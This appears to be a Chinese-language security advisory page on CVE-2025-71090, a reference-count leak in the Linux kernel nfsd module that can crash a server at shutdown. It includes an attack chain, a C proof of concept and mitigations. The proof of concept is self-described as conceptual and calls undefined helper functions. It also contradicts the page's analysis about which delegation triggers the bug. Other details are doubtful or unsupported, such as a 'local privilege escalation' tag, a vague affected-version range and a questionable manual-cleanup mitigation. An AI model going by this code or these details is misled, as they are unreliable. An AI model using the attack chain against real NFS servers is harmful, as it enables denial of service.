IPBUF安全漏洞报告
English
CVE-2025-71090 CVSS 5.5 中危

CVE-2025-71090: Linux内核nfsd模块nfsd_file引用泄漏漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71090
漏洞类型
内存泄漏/引用计数错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel nfsd

相关标签

Linux KernelnfsdNFSv4引用计数泄漏内存泄漏本地提权内核漏洞delegationCVE-2025-71090nfsd_file

漏洞概述

CVE-2025-71090是Linux内核nfsd模块中的一个引用计数泄漏漏洞,CVSS评分5.5,属于中危级别。该漏洞存在于nfsd4_add_rdaccess_to_wrdeleg()函数中,当处理NFSv4读写委托时,如果客户端已经拥有一个READ共享访问的OPEN操作,函数会无条件地覆盖fp->fi_fds[O_RDONLY]而不释放原有引用,导致内存泄漏。此外,该函数在fi_fds[O_RDONLY]和fi_rdeleg_file中存储同一个nfsd_file指针但仅增加一次引用计数,在释放 delegation时由于引用计数管理不当,导致nfsd_file引用永远无法被正确释放。服务器关闭时,这些泄漏会导致__nfsd_file_cache_purge()遇到引用计数异常的文件对象,最终触发kmem_cache_destroy()中的BUG(),造成系统崩溃。该漏洞需要本地低权限认证即可触发,无需用户交互。

技术细节

该漏洞的根本原因在于nfsd4_add_rdaccess_to_wrdeleg()函数的引用计数管理逻辑存在缺陷。当函数被调用添加读访问权限到写委托时,它会无条件地执行fp->fi_fds[O_RDONLY] = nfsd_file_acquire(...)操作。如果客户端之前已经通过OPEN操作获取了该文件的READ共享访问权限,这个赋值操作会直接覆盖已有的nfsd_file指针,而不会先调用nfs4_file_put_access()释放旧引用,造成引用泄漏。

另一个关键问题是nfsd_file指针的引用计数分配不当。函数将同一个nfsd_file指针同时赋值给fp->fi_fds[O_RDONLY]和fp->fi_rdeleg_file,但只执行了一次引用增加操作。当put_deleg_file()执行时,它清除fi_rdeleg_file并调用nfs4_file_put_access()来释放文件。然而,nfs4_file_put_access()只在fi_access[O_RDONLY]计数器归零时才释放fi_fds[O_RDONLY]。如果文件上存在其他READ open操作(如来自正常OPEN操作的共享访问),该计数器会保持非零状态,导致delegation对应的nfsd_file引用永远无法释放。

这种双重引用计数问题在服务器正常运行时可能不会立即显现,但在服务器关闭时的清理阶段会暴露问题。__nfsd_file_cache_purge()会尝试清理所有缓存的nfsd_file对象,但由于引用计数异常,这些对象无法被正确释放,最终导致kmem_cache_destroy()因缓存中仍存在分配对象而触发BUG(),造成系统崩溃。

攻击链分析

STEP 1
步骤1
攻击者作为NFSv4客户端与服务器建立连接,通过EXCHANGE_ID和CREATE_SESSION建立会话
STEP 2
步骤2
客户端对目标文件执行OPEN操作,请求SHARE_ACCESS_READ共享访问权限,服务器在fi_fds[O_RDONLY]中创建nfsd_file引用
STEP 3
步骤3
服务器授予写委托(write delegation),触发nfsd4_add_rdaccess_to_wrdeleg()函数调用
STEP 4
步骤4
nfsd4_add_rdaccess_to_wrdeleg()函数获取新的nfsd_file并直接覆盖fp->fi_fds[O_RDONLY],未释放原有引用,导致第一个泄漏点
STEP 5
步骤5
函数将同一个nfsd_file指针同时存储到fi_fds[O_RDONLY]和fi_rdeleg_file,但只增加一次引用计数,导致双重引用问题
STEP 6
步骤6
当put_deleg_file()执行时,fi_rdeleg_file被清除但fi_fds[O_RDONLY]引用无法释放(因为存在其他READ open操作),造成引用泄漏累积
STEP 7
步骤7
重复执行上述操作(第2-6步),持续累积泄漏的nfsd_file引用,导致内存资源持续消耗
STEP 8
步骤8
服务器关闭时,__nfsd_file_cache_purge()尝试清理缓存中的文件对象,但遇到引用计数异常的对象无法释放
STEP 9
步骤9
kmem_cache_destroy()检测到缓存中仍有未释放的nfsd_file对象,触发BUG()导致系统崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71090 PoC - nfsd_file Reference Leak // This PoC demonstrates the reference leak in nfsd4_add_rdaccess_to_wrdeleg() // Environment: Linux kernel with NFSv4 server enabled #include <stdio.h> #include <stdlib.h> #include <string.h> #include <rpc/rpc.h> #include <nfs/nfs.h> /* * Attack Scenario: * 1. Client establishes NFSv4 session with server * 2. Client opens a file with OPEN operation (SHARE_ACCESS_READ) * 3. Server grants delegation with READ access * 4. Client calls OPEN with OPEN4_SHARE_ACCESS_READ again * 5. This triggers nfsd4_add_rdaccess_to_wrdeleg() which overwrites * fp->fi_fds[O_RDONLY] without releasing existing reference * 6. Repeated operations cause reference count leak * 7. Server shutdown triggers BUG() in kmem_cache_destroy() */ // NFSv4 OPEN operation with READ share access void nfs4_open_with_read_share(int sock, char *filename) { // Construct NFSv4 OPEN compound request // Operation: OPEN with share_access = READ printf("[*] Sending NFSv4 OPEN with SHARE_ACCESS_READ\n"); // Simulate multiple OPEN operations to trigger leak for (int i = 0; i < 100; i++) { send_nfs4_open_request(sock, filename, OPEN4_SHARE_ACCESS_READ); recv_nfs4_response(sock); usleep(1000); } } // Request delegation with read access void nfs4_request_delegation(int sock, char *filename) { printf("[*] Requesting READ delegation\n"); // This triggers nfsd4_add_rdaccess_to_wrdeleg() send_nfs4_delegation_request(sock, filename, CLAIM_DELEGATE_CUR); recv_nfs4_response(sock); } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <nfs_server_ip>\n", argv[0]); return 1; } char *server = argv[1]; int sock; printf("[*] CVE-2025-71090 PoC - nfsd_file reference leak\n"); printf("[*] Target: %s\n", server); // Connect to NFS server sock = nfs_connect(server, 2049); // Establish NFSv4 session nfs4_exchange_id(sock); nfs4_create_session(sock); // Step 1: Open file with READ share nfs4_open_with_read_share(sock, "/testfile.txt"); // Step 2: Request delegation (triggers vulnerability) nfs4_request_delegation(sock, "/testfile.txt"); // Step 3: Continue operations to accumulate leaks for (int round = 0; round < 10; round++) { nfs4_open_with_read_share(sock, "/testfile.txt"); nfs4_request_delegation(sock, "/testfile.txt"); } printf("[*] Leaked references accumulated\n"); printf("[*] Server shutdown will trigger BUG() in kmem_cache_destroy()\n"); nfs_disconnect(sock); return 0; } // Note: This is a conceptual PoC. Actual implementation requires // NFSv4 protocol library and proper RPC handling. // The vulnerability is triggered by: // 1. Having existing READ share access // 2. Then receiving delegation with READ access // 3. This causes nfsd4_add_rdaccess_to_wrdeleg() to overwrite // fp->fi_fds[O_RDONLY] without proper reference release

影响范围

Linux Kernel < 6.6.x (stable versions affected)
Linux Kernel stable tree before commit 8072e34e1387d03102b788677d491e2bcceef6f5
Linux Kernel stable tree before commit c07dc84ed67c5a182273171639bacbbb87c12175
NFSv4 server implementations with delegation support enabled

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1) 禁用NFSv4 delegation功能,在/etc/export中添加no_delegate选项;2) 限制NFS导出目录的访问权限,仅允许授权用户访问;3) 在NFS服务器上监控/proc/slabinfo中的nfsd_file_cache占用情况;4) 考虑使用NFSv3协议替代NFSv4以避免delegation功能带来的风险;5) 在服务器关闭前手动清理残留的nfsd_file对象以避免触发BUG()。这些措施只能降低风险,无法根本修复漏洞,建议尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表